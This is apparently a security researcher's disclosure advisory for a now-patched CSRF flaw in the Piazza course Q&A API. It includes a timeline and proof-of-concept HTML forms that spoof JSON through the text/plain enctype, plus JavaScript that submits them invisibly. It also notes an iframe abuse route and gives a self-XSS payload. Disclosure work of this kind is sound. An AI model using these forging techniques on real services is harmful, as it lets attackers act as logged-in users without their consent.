Updated
Updated
Updated
This vulnerability described on this page no longer exists as of . Piazza implemented a CSRF token in an HTTP header. The text below describes the status quo ante.
Piazza is a Q&A platform for university courses. (They actually make money by selling student records to recruiters, but that's another story.) Most interactions in the web app happen through an HTTP API. The API lacks CSRF protection, so it is possible to cause a logged-in user (such as a professor or TA) to, for example, post or delete content, just by viewing an unrelated web page. The vulnerability has existed since or probably earlier.
The following HTML implements a form which, when clicked,
will post a comment on the discussion topic ENTERCIDHERE
.
(You can find the cid by clicking on a topic and
watching the browser console.)
Methods other than content.create
,
like content.get
, also work.
<form action="https://piazza.com/logic/api" method="POST" enctype="text/plain"> <input name='{"method":"content.create","params":{"cid":"ENTERCIDHERE","type":"followup","subject":"\u2764 CSRF","content":"","anonymous":"no","dummy":"' value='"}}' hidden> <input type=submit> </form>
The API expects JSON, but you can spoof JSON using a form and
enctype="text/plain"
,
which inserts a =
character between each name
and value
.
You just need to insert some extra quote marks to hide the =
so it doesn't interfere with the rest of the JSON.
Here's an illustration with the
name
and value
highlighted:
<form action="https://piazza.com/logic/api" method="POST" enctype="text/plain"> <input name='{"method":"content.get","params":{"cid":"h1yfzjsrjd13z0","dummy":"' value='"}}' hidden> <input type=submit> </form>
That form will result in the following HTTP request (not all headers are shown).
The =
character was inserted by the text/plain
enctype, but it is rendered harmless by being inserted into a quoted string.
POST /logic/api HTTP/1.1 Referer: https://not-piazza.example/ Content-Type: text/plain Content-Length: 72 {"method":"content.get","params":{"cid":"h1yfzjsrjd13z0","dummy":"="}}
Of course, it doesn't really require someone clicking on a form button; you can submit the form automatically and invisibly with JavaScript:
<script> document.getElementsByTagName("form")[0].submit(); </script>
The vulnerability is especially bad because Piazza allows embedding arbitrary third-party sites using iframes. (The purpose of the functionality is to support embedding e.g. YouTube videos, but you can embed any site.) So a student enrolled in a class could do this:
content.create
: "Homework 1 is postponed.")
As of , these don't work anymore, as the server checks for a CSRF-Token
header.
Here's a live example of doing content.get
against the demo class.
First, go to piazza.com
and click "View a Real Class" to see the demo class and set a cookie as if you were authenticated.
Then click the button to CSRF a request to the content.get
method.
This one gets the content of question @364.
Here's a content.create
against the demo class.
It fails with the error "Action not allowed for unknown users"
,
but only because the class doesn't allow posts at all.
When run on an nid for which the user is authorized, it works.
Sent email to team@piazza.com (because no security contact was apparent)
with a link to this page and a proof of concept of doing
content.create
in a live class.
Sent a followup with working proofs of concept against the demo class.
Got a reply from Henry <help@piazza.com>:
It turns out engineers had previously identified this issue, and they will be pushing a fix in the coming weeks. I will send along an update when the fix is out on production.Acknowledged the reply and suggested that Henry find a more ethical line of work.
Tested the content.get
against the demo class
and found that it still worked.
(The only difference is that you now have to have clicked
on the demo class in another tab first; i.e.,
have a cookie set.)
Wrote to Piazza and stated my intention to disclose the vulnerability on .
Got a reply from Rachel <help@piazza.com>:
We plan to deploy a fix for this by the end of this month.
Published this advisory.
Tested the content.get
demo again, and found
that it no longer works:
{"result":null,"error_codes":[],"error":"Request not valid","aid":"jhw0rh2umqq3to"}
Investigation reveals that Piazza has implemented a
CSRF-Token
header, looking like this:
CSRF-Token: pJ8cPlSiO
They have provided a CSRF token oracle at /main/csrf_token, but seeing as you can't set custom headers in a form submission, and a cross-origin XHR (which would allow custom headers) will get blocked, it seems fine.
The input sanitization on post content seems questionable.
You can XSS yourself in the preview pane with a simple
<script>alert(1)</script>
(even though the preview pane does some processing,
for example of $$
LaTeX markup),
but the script gets filtered out somehow when you actually post.
The fact that there are at least two different sanitization paths
hints that it's not bulletproof.
There may be XSS danger in the fact that API responses
are JSON but are sent with
Content-Type: text/html
.
What's properly escaped for JSON may not be properly
escaped for HTML,
if you can get the browser to display a raw API response.